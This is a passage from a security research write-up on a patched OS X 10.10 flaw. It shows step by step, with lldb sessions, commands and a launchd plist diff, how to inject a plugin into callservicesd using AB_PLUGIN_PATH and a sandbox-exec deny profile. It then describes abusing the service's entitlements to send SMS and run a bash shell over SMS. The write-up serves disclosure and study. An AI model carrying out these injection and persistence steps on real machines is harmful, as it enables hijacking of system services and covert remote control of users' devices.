Our ‘injectab’ plugin in /tmp still didn’t load. What happens if we cheat for a second, and move the original POIPlugin out of the way so it isn’t loaded?
$ sudo mv /System/Library/Address\ Book\ Plug-Ins/POIPlugin.sourcebundle ~
$ AB_PLUGIN_PATH=/tmp lldb /System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd
(lldb) target create "/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd"
Current executable set to '/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd' (x86_64).
(lldb) r
Process 70220 launched: '/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd' (x86_64)
2015-09-07 18:06:51.951 callservicesd[70220:19297629] +[ABPointOfInterestSource persistenceWithUID:path:]: unrecognized selector sent to class 0x1000fe230
2015-09-07 18:06:51.952 callservicesd[70220:19297629] Couldn`t init moc: +[ABPointOfInterestSource persistenceWithUID:path:]: unrecognized selector sent to class 0x1000fe230
2015-09-07 18:06:51.952 callservicesd[70220:19297629] Could not initialize the shared address book
2015-09-07 18:06:52.202 callservicesd[70220:19297629] Failed to get the bundle id
Process 70220 stopped
* thread #1: tid = 0x126755d, 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10
libsystem_kernel.dylib`mach_msg_trap:
->  0x7fff8f3494de <+10>: retq
    0x7fff8f3494df <+11>: nop

libsystem_kernel.dylib`mach_msg_overwrite_trap:
    0x7fff8f3494e0 <+0>:  movq   %rcx, %r10
    0x7fff8f3494e3 <+3>:  movl   $0x1000020, %eax
(lldb) image list injectab
[  0] A99FBAF2-B1B0-3169-BB47-1B221CBDC62B 0x00000001000fd000 /tmp/injectab.sourcebundle/Contents/MacOS/injectab
(lldb) image list POIPlugin
error: no modules found that match 'POIPlugin'
(lldb)
This time our ‘injectab’ plugin successfully loads into callservicesd. This means that it’s possible to load plugins from AB_PLUGIN_PATH, but the ones in /System/Library/Address Book Plug-Ins/ take precedence. In pseudo-objc, it roughly looks like this:
-[ABDataSourcePluginIndex indexPlugins]
    for (plugin in AB_PLUGIN_PATH,/System/Library/Address Book Plug-Ins/)
        if (plugin.NSPrincipalClass)
            plugins[file.NSPrincipalClass] = plugin.path;
indexPlugins builds a hash of plugins keyed on NSPrincipalClass by iterating files in AB_PLUGIN_PATH first, followed by /System/Library/AddressBookPlugins which will overwrite any existing values.

If we can cause the if statement above to return false while reading one or more system plugins, we can inject our plugin by “borrowing” its NSPrincipalClass.

The Sandbox
sandbox-exec is a command line utility included with OS X that allows you to, as the name might suggest, execute commands within a sandbox profile. If we run callservicesd inside a profile that denies it read access to a system plugin, the if statement will fail and our plugin should load instead. This trick only works on processes that aren’t already sandboxed, and luckily callservicesd is not. This is a fun example of turning a security feature against the system it’s designed to protect. Lets give it a shot:
$ ls -ld /System/Library/Address\ Book\ Plug-Ins/POIPlugin.sourcebundle/ /tmp/injectab.sourcebundle/
drwxr-xr-x  3 root  wheel  102 Sep 12  2014 /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/
drwxr-xr-x  3 dbastone   wheel  102 Sep  4 17:47 /tmp/injectab.sourcebundle/
$ AB_PLUGIN_PATH=/tmp lldb -- /usr/bin/sandbox-exec -p'(version 1)(allow default)(deny file-read* (regex #"^/System/Library/Address Book Plug-Ins/POI*"))' /System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd
(lldb) target create "/usr/bin/sandbox-exec"
Current executable set to '/usr/bin/sandbox-exec' (x86_64).
(lldb) settings set -- target.run-args  '-p(version 1)(allow default)(deny file-read* (regex #"^/System/Library/Address Book Plug-Ins/POI*"))' "/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd"
(lldb) process launch
Process 70395 launched: '/usr/bin/sandbox-exec' (x86_64)
Process 70395 stopped
* thread #1: tid = 0x126ddb1, 0x00007fff5fc01000 dyld`_dyld_start, stop reason = exec
    frame #0: 0x00007fff5fc01000 dyld`_dyld_start
dyld`_dyld_start:
->  0x7fff5fc01000 <+0>: popq   %rdi
    0x7fff5fc01001 <+1>: pushq  $0x0
    0x7fff5fc01003 <+3>: movq   %rsp, %rbp
    0x7fff5fc01006 <+6>: andq   $-0x10, %rsp
(lldb) c
Process 70395 resuming
2015-09-07 18:43:36.620 callservicesd[70395:19324337] NSPrincipalClass for bundle not found: /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle
2015-09-07 18:43:36.632 callservicesd[70395:19324337] entitlement checks bypassed
2015-09-07 18:43:36.632 callservicesd[70395:19324337] +[ABPointOfInterestSource persistenceWithUID:path:]: unrecognized selector sent to class 0x1000fe230
2015-09-07 18:43:36.632 callservicesd[70395:19324337] Couldn`t init moc: +[ABPointOfInterestSource persistenceWithUID:path:]: unrecognized selector sent to class 0x1000fe230
2015-09-07 18:43:36.632 callservicesd[70395:19324337] Could not initialize the shared address book
2015-09-07 18:43:36.854 callservicesd[70395:19324337] Failed to get the bundle id
Process 70395 stopped
* thread #1: tid = 0x126ddb1, 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10
libsystem_kernel.dylib`mach_msg_trap:
->  0x7fff8f3494de <+10>: retq
    0x7fff8f3494df <+11>: nop

libsystem_kernel.dylib`mach_msg_overwrite_trap:
    0x7fff8f3494e0 <+0>:  movq   %rcx, %r10
    0x7fff8f3494e3 <+3>:  movl   $0x1000020, %eax
(lldb) image list injectab
[  0] A99FBAF2-B1B0-3169-BB47-1B221CBDC62B 0x00000001000fd000 /tmp/injectab.sourcebundle/Contents/MacOS/injectab
(lldb) image list POIPlugin
error: no modules found that match 'POIPlugin'
It worked! Our plugin code is now loaded into callservicesd without requiring root. We can now swizzle the valueForEntitlement method as shown earlier, and the original exploit will work again. Almost.

callservicesd is meant to be started by launchd when it receives relevant requests for XPC services. If we start it manually using our custom environment and sandbox-exec, launchd still starts its own “clean” copy which ends up servicing the XPC requests itself.

To handle this, we’ll simply unload the system’s callservicesd plist and replace it with a modified version that sets AB_PLUGIN_PATH and invokes sandbox-exec.
$ diff -u /System/Library/LaunchAgents/com.apple.telephonyutilities.callservicesd.plist csd_launchd.plist
--- /System/Library/LaunchAgents/com.apple.telephonyutilities.callservicesd.plist    2015-02-26 03:23:52.000000000 -0500
+++ csd_launchd.plist    2015-09-07 17:44:48.000000000 -0400
@@ -8,6 +8,8 @@
     <dict>
         <key>NSRunningFromLaunchd</key>
         <string>1</string>
+        <key>AB_PLUGIN_PATH</key>
+        <string>/tmp</string>
     </dict>
     <key>Label</key>
     <string>com.apple.telephonyutilities.callservicesd</string>
@@ -56,6 +58,9 @@
     </dict>
     <key>ProgramArguments</key>
     <array>
+        <string>/usr/bin/sandbox-exec</string>
+        <string>-p</string>
+        <string>(version 1)(allow default)(deny file-read* (regex #"^/System/Library/Address Book Plug-Ins/POI*"))</string>
         <string>/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd</string>
     </array>
     <key>EnablePressuredExit</key>
$ launchctl unload /System/Library/LaunchAgents/com.apple.telephonyutilities.callservicesd.plist
$ launchctl load csd_launchd.plist
$ killall callservicesd
SMS
Now that we’ve got code running inside callservicesd, some new possibilities open up. We no longer need to use XPC to communicate with callservicesd, since we can invoke methods directly. Our code also now runs with all of the entitlements of callservicesd.

Remember the entitlement that imagent checked for earlier, preventing us from sending SMS? It just so happens that callservicesd has it. Our injected plugin code is thus free to communicate with imagent and send SMS messages to arbitrary phone numbers.

A short proof of concept is available in the SMShell directory. This code routes a bash shell over SMS via a user’s paired iPhone, without requiring root access on OS X 10.10.5 and below. Because SMS is used, this shell will bypass any IP based network filtering in use.

Apple’s Fixes
In OS X 10.11, the debugPluginPaths implementation now returns an empty object and all references to AB_PLUGIN_PATH have been removed.

Additionally, Session Integrity Protection prevents these injection attacks from being performed as root.